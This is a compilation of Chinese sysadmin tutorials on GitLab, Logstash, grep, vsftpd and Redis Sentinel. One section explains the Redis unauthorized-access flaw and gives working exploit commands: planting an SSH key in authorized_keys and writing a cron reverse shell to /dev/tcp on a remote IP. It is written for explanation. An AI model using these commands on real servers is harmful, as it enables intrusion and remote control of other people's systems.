gitlab数据的备份及恢复方法

Gitlab 创建备份

使用Gitlab一键安装包安装Gitlab非常简单, 同样的备份恢复与迁移也非常简单. 使用一条命令即可创建完整的Gitlab备份:

gitlab-rake gitlab:backup:create

使用以上命令会在/var/opt/gitlab/backups目录下创建一个名称类似为1393513186_gitlab_backup.tar的压缩包, 这个压缩包就是Gitlab整个的完整部分, 其中开头的1393513186是备份创建的日期.

Gitlab 修改备份文件默认目录

你也可以通过修改/etc/gitlab/gitlab.rb来修改默认存放备份文件的目录:

gitlab_rails['backup_path'] = '/mnt/backups'

/mnt/backups修改为你想存放备份的目录即可, 修改完成之后使用gitlab-ctl reconfigure命令重载配置文件即可.

Gitlab 自动备份

也可以通过crontab使用备份命令实现自动备份:

sudo su -
crontab -e

加入以下, 实现每天凌晨2点进行一次自动备份:

0 2 * * * /opt/gitlab/bin/gitlab-rake gitlab:backup:create

Gitlab 恢复

同样, Gitlab的从备份恢复也非常简单:

# 停止相关数据连接服务
gitlab-ctl stop unicorn
gitlab-ctl stop sidekiq

# 从1393513186编号备份中恢复
gitlab-rake gitlab:backup:restore BACKUP=1393513186

# 启动Gitlab
sudo gitlab-ctl start

Gitlab迁移

迁移如同备份与恢复的步骤一样, 只需要将老服务器/var/opt/gitlab/backups目录下的备份文件拷贝到新服务器上的/var/opt/gitlab/backups即可(如果你没修改过默认备份目录的话). 但是需要注意的是新服务器上的Gitlab的版本必须与创建备份时的Gitlab版本号相同. 比如新服务器安装的是最新的7.60版本的Gitlab, 那么迁移之前, 最好将老服务器的Gitlab 升级为7.60在进行备份.

其他

最新版本的Gitlab已经修复了HTTPS设备的BUG, 现在使用官方HTTPS配置即可轻松启用HTTPS.

配置gitlab通过smtp发送邮件

1. 编辑/etc/gitlab/gitlab.rb文件(加到文件最后面就好了)。以QQ企业邮箱为例:

gitlab_rails['smtp_enable'] = true

gitlab_rails['smtp_address'] = "smtp.exmail.qq.com"

gitlab_rails['smtp_port'] = 465

gitlab_rails['smtp_user_name'] = "[email protected]"

gitlab_rails['smtp_password'] = "******"

gitlab_rails['smtp_authentication'] = "login"

gitlab_rails['smtp_enable_starttls_auto'] = true

gitlab_rails['smtp_tls'] = true

gitlab_rails['gitlab_email_from'] = '[email protected]'

有的教程可能会说去改/opt/gitlab/etc/gitlab.rb,是错的,一切以官网文档为准

2. 重新配置gitlab

gitlab-ctl reconfigure

3. 通过命令行测试邮件是否发送成功(也可以不测)

gitlab-rails console

irb(main):003:0> Notify.test_email('[email protected]', 'Message Subject', 'Message Body').deliver_now

Centos7系统安装配置GitLab服务器

1、首先

sudo yum update 

更新当前库

2、执行以下命令

sudo yum install curl policycoreutils openssh-server openssh-clients -y 
sudo systemctl enable sshd 
sudo systemctl start sshd 
sudo yum install postfix  
sudo systemctl enable postfix 
sudo systemctl start postfix 
sudo firewall-cmd --permanent --add-service=http 
sudo systemctl reload firewalld 

其中 sudo yum install postfix 可能会报错,部分环境可能已经配置好此步,报错直接跳过。

3、添加gitlb官方地址至源文件

curl -sS https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash 

提示如下:

The repository is setup! You can now install packages.

即可以开始安装

执行安装:

sudo yum install gitlab-ce -y 

提示如下:

Installed:
  gitlab-ce.x86_64 0:9.4.2-ce.0.el7                                             

Complete!

即安装成功

4、执行配置脚本

sudo gitlab-ctl reconfigure

此步骤大概会执行3分钟左右,结果大概如下:

unning handlers:
Running handlers complete
Chef Client finished, 362/517 resources updated in 03 minutes 40 seconds
gitlab Reconfigured!

即可通过访问服务器地址访问,并进行初始化配置(默认为80端口,配置文件为:/etc/gitlab/gitlab.rb)

Logstash input模块详解

Logstash由三个组件构造成,分别是input、filter以及output。我们可以吧Logstash三个组件的工作流理解为:input收集数据,filter处理数据,output输出数据。至于怎么收集、去哪收集、怎么处理、处理什么、怎么发生以及发送到哪等等一些列的问题就是我们接下啦要讨论的一个重点。

我们今天先讨论input组件的功能和基本插件。前面我们意见介绍过了,input组件是Logstash的眼睛和鼻子,负责收集数据的,那么们就不得不思考两个问题,第一个问题要清楚的就是,元数据在哪,当然,这就包含了元数据是什么类型,属于什么业务;第二个问题要清楚怎么去拿到元数据。只要搞明白了这两个问题,那么Logstash的input组件就算是弄明白了。

对于第一个问题,元数据的类型有很多,比如说你的元数据可以是日志、报表、可以是数据库的内容等等。元数据是什么样子的我们不需要关心,我们要关系的是元数据是什么类型的,只要你知道元数据是什么类型的,你才能给他分类,或者说给他一个type,这很重要,type对于你后面的工作处理是非常有帮助的。所以第一个问题的重心元数据在吗,是什么,现在已经是清楚了。那么进行第二个问题。

第二个问题的核心是怎么拿到这些不同类型的原数据?这是一个真个input组件的核心内容了,我们分门别类的来看待这和解决个问题。
首先,我们肯定需要认同的,什么样的数据源,就需要使用什么样的方式去获取数据。

我们列举几种:

1、文件类型:文件类型,顾名思义,文件数据源,我们可以使用input组件的file插件来获取数据。file{}插件有很多的属性参数,我们可以张开讲解一下。具体内容在下面的代码中展示:

input{
    file{
        #path属性接受的参数是一个数组,其含义是标明需要读取的文件位置
        path => [‘pathA’,‘pathB’]
        #表示多就去path路径下查看是够有新的文件产生。默认是15秒检查一次。
        discover_interval => 15
        #排除那些文件,也就是不去读取那些文件
        exclude => [‘fileName1’,‘fileNmae2’]
        #被监听的文件多久没更新后断开连接不在监听,默认是一个小时。
        close_older => 3600
        #在每次检查文件列 表的时候, 如果一个文件的最后 修改时间 超过这个值, 就忽略这个文件。 默认一天。
        ignore_older => 86400
        #logstash 每隔多 久检查一次被监听文件状态( 是否有更新) , 默认是 1 秒。
        stat_interval => 1
        #sincedb记录数据上一次的读取位置的一个index
        sincedb_path => ’$HOME/. sincedb‘
        #logstash 从什么 位置开始读取文件数据, 默认是结束位置 也可以设置为:beginning 从头开始
        start_position => ‘beginning’
        #注意:这里需要提醒大家的是,如果你需要每次都从同开始读取文件的话,关设置start_position => beginning是没有用的,你可以选择sincedb_path 定义为 /dev/null
    }           

}

2、数据库类型:数据库类型的数据源,就意味着我们需要去和数据库打交道了是吗?是的!那是必须的啊,不然怎么获取数据呢。input组件如何获取数据库类的数据呢?没错,下面即将隆重登场的是input组件的JDBC插件jdbc{}。同样的,jdbc{}有很多的属性,我们在下面的代码中作出说明;

input{
    jdbc{
    #jdbc sql server 驱动,各个数据库都有对应的驱动,需自己下载
    jdbc_driver_library => "/etc/logstash/driver.d/sqljdbc_2.0/enu/sqljdbc4.jar"
    #jdbc class 不同数据库有不同的 class 配置
    jdbc_driver_class => "com.microsoft.sqlserver.jdbc.SQLServerDriver"
    #配置数据库连接 ip 和端口,以及数据库   
    jdbc_connection_string => "jdbc:sqlserver://200.200.0.18:1433;databaseName=test_db"
    #配置数据库用户名
    jdbc_user =>   
    #配置数据库密码
    jdbc_password =>
    #上面这些都不重要,要是这些都看不懂的话,你的老板估计要考虑换人了。重要的是接下来的内容。
    # 定时器 多久执行一次SQL,默认是一分钟
    # schedule => 分 时 天 月 年  
    # schedule => * 22  *  *  * 表示每天22点执行一次
    schedule => "* * * * *"
    #是否清除 last_run_metadata_path 的记录,如果为真那么每次都相当于从头开始查询所有的数据库记录
    clean_run => false
    #是否需要记录某个column 的值,如果 record_last_run 为真,可以自定义我们需要表的字段名称,
    #此时该参数就要为 true. 否则默认 track 的是 timestamp 的值.
    use_column_value => true
    #如果 use_column_value 为真,需配置此参数. 这个参数就是数据库给出的一个字段名称。当然该字段必须是递增的,可以是 数据库的数据时间这类的
    tracking_column => create_time
    #是否记录上次执行结果, 如果为真,将会把上次执行到的 tracking_column 字段的值记录下来,保存到 last_run_metadata_path 指定的文件中
    record_last_run => true
    #们只需要在 SQL 语句中 WHERE MY_ID > :last_sql_value 即可. 其中 :last_sql_value 取得就是该文件中的值
    last_run_metadata_path => "/etc/logstash/run_metadata.d/my_info"
    #是否将字段名称转小写。
    #这里有个小的提示,如果你这前就处理过一次数据,并且在Kibana中有对应的搜索需求的话,还是改为true,
    #因为默认是true,并且Kibana是大小写区分的。准确的说应该是ES大小写区分
    lowercase_column_names => false
    #你的SQL的位置,当然,你的SQL也可以直接写在这里。
    #statement => SELECT * FROM tabeName t WHERE  t.creat_time > :last_sql_value
    statement_filepath => "/etc/logstash/statement_file.d/my_info.sql"
    #数据类型,标明你属于那一方势力。单了ES哪里好给你安排不同的山头。
    type => "my_info"
    }
    #注意:外载的SQL文件就是一个文本文件就可以了,还有需要注意的是,一个jdbc{}插件就只能处理一个SQL语句,
    #如果你有多个SQL需要处理的话,只能在重新建立一个jdbc{}插件。
}

好了,废话不多说了,接着第三种情况:

input {
  beats {
    #接受数据端口
    port => 5044
    #数据类型
    type => "logs"
  }
  #这个插件需要和filebeat进行配很这里不做多讲,到时候结合起来一起介绍。
}

现在我们基本清楚的知道了input组件需要做的事情和如何去做,当然他还有很多的插件可以进行数据的收集,比如说TCP这类的,还有可以对数据进行encode,这些感兴趣的朋友可以自己去查看,我说的只是我自己使用的。一般情况下我说的三种插件已经足够了。

今天的ELK种的Logstash的input组件就到这。后面还会讲述Logstash的另外另个组件filter和output。

使用grep排除一个或多个字符串

grep命令应该是我们分析过滤常用的命令,某些情况下,我们需要排除某些条件
比如我要看日志中所有 GET请求,但 不要GET /image 这个目录的请求。
那我们这个grep怎么写?

思路:

当 grep 所有GET,然后在排除 GET /image 的请求。

这时我们就用到了 -v 选项,我么来看 v 的说明 :反转匹配

未分类

那么 grep 就这么写:

grep 'GET' nginx.log | grep -v 'GET /image'

如果还要排除 GET /js 那?

有同学可能会这么写:

grep 'GET' nginx.log | grep -v 'GET /image' | grep 'GET /js'

如果有多个排除,这样写就显得很啰嗦,而且有多个的话,效率就会降低。

我们看看grep的用法:

grep [OPTIONS] PATTERN [FILE...]

可以看到 是可以写正则表达式的

那上面的就可以这么写:

grep 'GET' nginx.log | grep -v 'GET /image|GET /js|'

linux grep的正则表达式使用

一、grep

grep常用于文本搜索。通过自定义的模式(pattern),筛选出使用者需要的文本内容。除了有grep,还有egrep和fgrep。其中egrep = grep –E,而fgrep则是不支持正则表达式。

grep语法:grep [option] pattern [file]

常用option如下:

  • -i:忽略字符的大小

  • -n:显示匹配的行号

  • -c:统计匹配的行数

  • -o:只显示匹配到的内容

  • -q:静默模式,不显示出任何信息

  • -e:实现多个选项的or的关系

  • -w:匹配整个单词

  • -v:显示除pattern外的内容

  • -F:相当于fgrep

  • -E:相当于egrep

二、正则表达式

1、匹配字符:

  • . 匹配任意单个字符

  • [] 匹配中括号内指定范围的任意单个字符

  • [^] 匹配中括号指定范围外的任意单个字符

  • [:alnum:] 匹配字母和数字

  • [:alpha:] 匹配任何英文

  • [:lower:] 小写英文字母

  • [:upper:] 大写英文字母

  • [:blank:] 空白字符(空格和字表符)

  • [:space:] 水平和垂直的空白字符(范围比blank的广)

  • [:cntrl:] 不可打印的控制字符(退格、删除、警铃等)

  • [:digit:] 十进制数字

  • [:xdigit:] 十六进制数字

  • [:graph:] 可打印的非空白字符

  • [:print:] 可打印的字符

  • [:punct:] 标点符号

2、匹配次数:

  • * 匹配前面的字符任意次,包括0次。

  • ? 匹配前面的字符0或1次

  • + 匹配前面的字符至少一次

  • {n} 匹配前面的字符n次

  • {m,n} 匹配前面的字符从m到n次

  • {,n} 匹配前面的字符至多n次

  • {n,} 匹配前面的字符至少n次

3、定位

  • ^ 定位行首,处于pattern的最左侧

  • $ 定位行尾,用于pattern的最右侧

  • <或b 词首,用于pattern中单词的左侧

  • >或b 词尾,用于pattern中单词的右侧

  • <pattern> 匹配整个单词

4、分组

  • ( )将一个或多个字符捆绑在一起,当作一个整体进行处理。

三、小结

通过一和二的简单介绍,现在将两者结合在一起,并把学习后得到的一些理解写下来。

1、pattern可以直接为想要得到的内容,如图1。

未分类
图1

2、[ ]中括号里表示的是匹配的内容的范围,用此括号匹配的结果是一个字符。比如[a-d]表示的是英文abcd这个范围。[ ]不只表示一种范围、内容,可以有多种,比如[a-z[:punct:]0-9]表示的是标点符号、英文字母a至z还有数字0-9。但是没有[0-10]或者是[0-100]等类似的范围,因为在pattern中把需要被过滤的内容都当作字符,而内容中的数字也被拆成一个个字符,没有大小可言,简单点说就是100其实是三个字符1、0、0。还有,单独用类似上文“二”中的[:digit:]这样的内容是会出错的,需要在[:digit:]外再加一个中括号才能表示匹配得到的是一个在digit范围内的字符,如图2。

未分类
图2

3、再次强调一点,[ ]表示的是匹配得到一个字符,是一个。因此,需要得到多个字符,得用上文 “二”的第二点知识,如图3。

未分类
图3

4、< >中间括起来的可以为英文和数字,但是不能是别的标点符号,如图4。

未分类
图4

“<>”和“>”是把一串连续的英文数字当作整体,而“<”不是,如图5最后两个命令都匹配不到内容,是因为“<>”和“>”认为存在abcd但不存在abc。

未分类
图5

5、(和)必须成对出现,并且他们被当作一个整体进行处理,并且分组括号中的模式匹配到的内容会被正则表达式引擎记录于内部的变量,命名方式:1,2,3…

示例:

(string1+(string2)*)

1:string1+(string2)*

2:string2

6、 grep –E 作用:除了<和>,其他的例如{ }、( ),没有添加-E时,{}表示范围,添加了-E选项后,直接{}表示范围。

CentOS7.2下VSFTPD的安装 创建系统用户及卸载方法

FTP 服务的安装、配置和卸载

安装 VSFTPD

使用 yum 安装vsftpd

yum install vsftpd -y

启动 VSFTPD

安装完成后,启动 FTP 服务:

service vsftpd start

启动后,可以看到系统已经监听了 21 端口

netstat -nltp | grep 21

此时,访问 ftp://你的IP地址 可浏览机器上的 /var/ftp 目录了。

配置 FTP 权限

了解 VSFTP 配置

vsftpd 的配置目录为 /etc/vsftpd,包含下列的配置文件:

  • vsftpd.conf 为主要配置文件
  • ftpusers 配置禁止访问 FTP 服务器的用户列表
  • 列表内容user_list 配置用户访问控制

阻止匿名访问和切换根目录

匿名访问和切换根目录都会给服务器带来安全风险,我们把这两个功能关闭。

编辑 /etc/vsftpd/vsftpd.conf,找到下面两处配置并修改:

# 禁用匿名用户
anonymous_enable=NO

# 禁止切换根目录
chroot_local_user=YES

编辑完成后,按 Ctrl + S 保存配置,重新启动 FTP 服务,如:

service vsftpd restart

创建 FTP 用户

创建一个用户 ftpuser:

useradd ftpuser

为用户 ftpuser 设置密码:

echo "bCyG9Sma" | passwd ftpuser --stdin

限制该用户仅能通过 FTP 访问

限制用户 ftpuser 只能通过 FTP 访问服务器,而不能直接登录服务器:

usermod -s /sbin/nologin ftpuser

为用户分配主目录

为用户 ftpuser 创建
主目录

并约定:

/data/ftp 为主目录, 该目录不可上传文件
/data/ftp/pub 文件只能上传到该目录下

mkdir -p /data/ftp/pub

创建登录欢迎文件 :

echo "Welcome to use FTP service." > /data/ftp/welcome.txt

设置访问权限:

chmod a-w /data/ftp && chmod 777 -R /data/ftp/pub

设置为用户的主目录:

usermod -d /data/ftp ftpuser

CentOS上卸载VSFTPD

centos 卸载vsftpd方法如果服务器上安装了vsftpd,配置出错需要卸载vsftpd

[root@localhost ~]# rpm -aq vsftpd
vsftpd-2.0.5-16.el5_5.1 #此处是查找vsftpd的返回结果

[root@localhost ~]# rpm -e vsftpd-2.0.5-16.el5_5.1
#用rpm -e 查找结果 进行删除就ok了。
warning: /etc/vsftpd/user_list saved as /etc/vsftpd/user_list.rpmsave
warning: /etc/vsftpd/ftpusers saved as /etc/vsftpd/ftpusers.rpmsave #删除时将备份vsftp的用户列表文件。看下是否卸载了vsftpd,进行stop及start操作:

[root@localhost ~]# /sbin/service vsftpd stop
vsftpd: unrecognized service #找不到vsftpd

[root@localhost ~]# /sbin/service vsftpd start

vsftpd: unrecognized service #找不到vsftpd

记住,在卸载vsftpd之前,先停止vsftpd。

使用Sentinel配置Redis 3.x主从高可用服务

Redis-Sentinel是Redis官方推荐的高可用性(HA)解决方案,当用Redis做Master-slave的高可用方案时,假如master宕机了,Redis本身(包括它的很多客户端)都没有实现自动进行主备切换,而Redis-sentinel本身也是一个独立运行的进程,它能监控多个master-slave集群,发现master宕机后能进行自动切换。

它的主要功能有以下几点

  • 不时地监控redis是否按照预期良好地运行;
  • 如果发现某个redis节点运行出现状况,能够通知另外一个进程(例如它的客户端);
  • 能够进行自动切换。当一个master节点不可用时,能够选举出master的多个slave(如果有超过一个slave的话)中的一个来作为新的master,其它的slave节点会将它所追随的master的地址改为被提升为master的slave的新地址

1. 集群规划

172.16.1.42 6379 Master

172.16.1.43 6379 Slave1

172.16.1.43 6380 Slave2

2. 集群配置

2.1 安装reids

# yum install gcc gcc-c++ tcl
# cd /opt/redis/
# tar xvf redis-3.2.8.tar.gz
# cd redis-3.2.8
# make install
# make test
# cd utils/

# 初始化数据
# ./install_server.sh

2.2 配置并启动redis

Master:

# vim master.conf
port 6379
bind 0.0.0.0
masterauth 123456
requirepass 123456
slave-read-only yes

#启动
# redis-server /etc/redis/master.conf

Slave1:

# vim slave1.conf
port 6379
bind 0.0.0.0
slaveof 172.16.1.42 6379
masterauth 123456
requirepass 123456
slave-read-only yes
protected-mode no

# 启动
# redis-server slave1.conf

Slave2:

# vim slave2.conf
port 6379
bind 0.0.0.0
slaveof 172.16.1.42 6379
masterauth 123456
requirepass 123456
slave-read-only yes
protected-mode no

# 启动
# redis-server slave2.conf

3. 验证主从复制

Master:

[root@localhost redis]# redis-cli -a 123456 -p 6379
127.0.0.1:6379> set name1 zhangsan
OK

Slave1:

[root@localhost ~]# redis-cli -p 6379
127.0.0.1:6379> auth 123456
OK
127.0.0.1:6379> get name1
"zhangsan"

Slave2:

[root@localhost ~]# redis-cli -a 123456 -p 6380
127.0.0.1:6380> get name1
"zhangsan"

4. 主从切换(Redis Sentinel)

Redis Sentinel

Sentinel(哨兵)是用于监控redis集群中Master状态的工具

4.1 Sentinel作用

  • Master状态检测
  • 如果Master异常,则会进行Master-Slave切换,将其中一个Slave作为Master,将之前的Master作为Slave
  • Master-Slave切换后,master_redis.conf、slave_redis.conf和sentinel.conf的内容都会发生改变,即master_redis.conf中会多一行slaveof的配置,sentinel.conf的监控目标会随之调换

4.2 Sentinel工作方式:

  • 每个Sentinel以每秒钟一次的频率向它所知的Master,Slave以及其他 Sentinel 实例发送一个 PING 命令

  • 如果一个实例(instance)距离最后一次有效回复 PING 命令的时间超过 down-after-milliseconds 选项所指定的值, 则这个实例会被 Sentinel 标记为主观下线。

  • 如果一个Master被标记为主观下线,则正在监视这个Master的所有 Sentinel 要以每秒一次的频率确认Master的确进入了主观下线状态。

  • 当有足够数量的 Sentinel(大于等于配置文件指定的值)在指定的时间范围内确认Master的确进入了主观下线状态, 则Master会被标记为客观下线

  • 在一般情况下, 每个 Sentinel 会以每 10 秒一次的频率向它已知的所有Master,Slave发送 INFO 命令

  • 当Master被 Sentinel 标记为客观下线时,Sentinel 向下线的 Master 的所有 Slave 发送 INFO 命令的频率会从 10 秒一次改为每秒一次

  • 若没有足够数量的 Sentinel 同意 Master 已经下线, Master 的客观下线状态就会被移除。

  • 若 Master 重新向 Sentinel 的 PING 命令返回有效回复, Master 的主观下线状态就会被移除。

主观下线和客观下线

  • 主观下线:Subjectively Down,简称 SDOWN,指的是当前 Sentinel 实例对某个redis服务器做出的下线判断。

  • 客观下线:Objectively Down, 简称 ODOWN,指的是多个 Sentinel 实例在对Master Server做出 SDOWN 判断,并且通过 SENTINEL is-master-down-by-addr 命令互相交流之后,得出的Master Server下线判断,然后开启failover.

  • SDOWN适合于Master和Slave,只要一个 Sentinel 发现Master进入了ODOWN, 这个 Sentinel 就可能会被其他 Sentinel 推选出, 并对下线的主服务器执行自动故障迁移操作。

  • ODOWN只适用于Master,对于Slave的 Redis 实例,Sentinel 在将它们判断为下线前不需要进行协商, 所以Slave的 Sentinel 永远不会达到ODOWN。

4.3 配置

1:指定监听Master(三个节点)

所有节点都需要运行,所有节点配置一样,且必须启动

# vim /etc/redis/sentinel.conf(可以从安装包里面找到这个文件)
protected-mode no
logfile "/mejust/logs/sentinel.log"
port 26379
dir "/tmp"
sentinel monitor mymaster 172.16.1.42 6379 2
sentinel down-after-milliseconds mymaster 5000
sentinel failover-timeout mymaster 60000
sentinel auth-pass mymaster !@#123mejust.com

上面配置文件说明如下:

  • 第二行指定sentinel端口号

  • 第五行指定Sentinel去监视一个名为 mymaster 的Master,Master的IP地址为172.16.1.42,端口号为6379,最后的2表示当有2个Sentinel检测到Master异常时才会判定其失效,即只有当2个Sentinel都判定Master失效了才会自动迁移,如果Sentinel的数量不达标,则不会执行自动故障迁移。

  • 第六行指定Sentinel判定Master断线的时间。(单位为毫秒,判定为主观下线SDOWN)

  • 第七行指定在执行故障转移时,最多可以有多少个Slave同时对新的Master进行同步。这个数字设置为1,虽然完成故障转移所需的时间会变长,但是可以保证每次只有1个Slave处于不能处理命令请求的状态

2:启动sentinel(三个节点):

# redis-sentinel /etc/redis/sentinel.conf

3:设置开机启动(三个节点)

# echo “/opt/redis/src/redis-sentinel /main/redis/sentinel.conf” >> /etc/rc.local

4.4 注意点

  • 首次启动时,必须先启动Master

  • Sentinel 只在 server 端做主从切换,app端要自己开发(例如Jedis库的SentinelJedis,能够监控Sentinel的状态)

  • 若Master已经被判定为下线,Sentinel已经选择了新的Master,也已经将old Master改成Slave,但是还没有将其改成new Master。若此时重启old Master,则Redis集群将处于无Master状态,此时只能手动修改配置文件,然后重新启动集群

5. 集群状态

返回结构是PONG,则表示服务运行正常

127.0.0.1:6379> ping
PONG
127.0.0.1:6379> info Replication

查看sentine状态

[root@localhost log]# redis-cli -p 26379
127.0.0.1:26379> info

主从切换:

127.0.0.1:26379> slaveof NO ONE

Redis未授权访问漏洞说明及利用

0x00 漏洞描述

Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。

0x01 环境搭建

首先选取Redis数据库版本为 redis-2.6.13 (高版本redis未授权访问漏洞已经被修复),编译安装。

编译安装步骤是:

tar zxf redis-2.6.13.tar.gz

cd redis-2.6.13

make

make指令成功执行完毕之后,redis数据库就已经部署好了,如果我们要启动redis数据库的话: srcredis-server,如果是启动redis的连接工具的话,需要执行 srcredis-cli 。

0x02 漏洞利用方法

1. 利用ssh免密登陆方法获得shell

如果是想要使用ssh免密登陆方法来获得shell的情况下,首先Redis服务器的root用户目录下需要有.ssh文件,再就是配置文件中的 PermitRootLogin 的值需要改为 yes 。

如果上述两项都符合要求我们就可以一步一步的向下进行了。

(1) 生成公-私密钥对

使用ssh-keygen命令之后一路回车即可。

(2) 利用Redis未授权访问漏洞

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kalinnn"
OK
192.168.63.130:6379> save
OK

(3)登陆

但上述步骤都做完之后,我们就可以通过 ssh 命令连接到redis的服务器上了。

2. 利用linux定时任务反射shell

定时任务反射shell主要是利用了linux系统的cron定时任务,通过向 /var/spool/cron/root中写入定时任务,来反弹shell。

处理流程:

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "nn* * * * * /bin/bash -i >& /dev/tcp/192.168.199.230/5555 0>&1nn"

save

之后在本地主机上开放5555端口,侦听反弹的shell。

nc -lnvp 5555

redis的密码设置及开放外网访问

配置外网访问

修改配置文件

bind 0.0.0.0

设置密码

requirepass password

设置进程

daemonize yes

修改默认端口

port 6379

开启redis进程

redis-server /etc/redis.conf

开机启动

#vim /etc/init.d/redis-server
#! /bin/sh
### BEGIN INIT INFO
# Provides:        redis-server
# Required-Start:    $syslog
# Required-Stop:    $syslog
# Should-Start:        $local_fs
# Should-Stop:        $local_fs
# Default-Start:    2 3 4 5
# Default-Stop:        0 1 6
# Short-Description:    redis-server - Persistent key-value db
# Description:        redis-server - Persistent key-value db
### END INIT INFO


PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/bin/redis-server
DAEMON_ARGS=/etc/redis.conf
NAME=redis-server
DESC=redis-server
PIDFILE=/var/run/redis.pid

test -x $DAEMON || exit 0
test -x $DAEMONBOOTSTRAP || exit 0

set -e

case "$1" in
  start)
    echo -n "Starting $DESC: "
    touch $PIDFILE
    chown redis:redis $PIDFILE
    if start-stop-daemon --start --quiet --umask 007 --pidfile $PIDFILE --chuid redis:redis --exec $DAEMON --background -- $DAEMON_ARGS
    then
        echo "$NAME."
    else
        echo "failed"
    fi
    ;;
  stop)
    echo -n "Stopping $DESC: "
    if start-stop-daemon --stop --retry 10 --quiet --oknodo --pidfile $PIDFILE --exec $DAEMON
    then
        echo "$NAME."
    else
        echo "failed"
    fi
    rm -f $PIDFILE
    ;;

  restart|force-reload)
    ${0} stop
    ${0} start
    ;;
  *)
    echo "Usage: /etc/init.d/$NAME {start|stop|restart|force-reload}" >&2
    exit 1
    ;;
esac

exit 0

赋予权限

chmod +x /etc/init.d/redis-server

设置开机启动

update-rc.d redis-server defaults

连接

redis-cli  -h 10.0.6.60 -p 6379 -a password

或者

➜  ~ redis-cli -h 10.0.6.60 -p 6379
10.0.6.60:6379> AUTH password
OK
10.0.6.60:6379> ping
PONG
10.0.6.60:6379>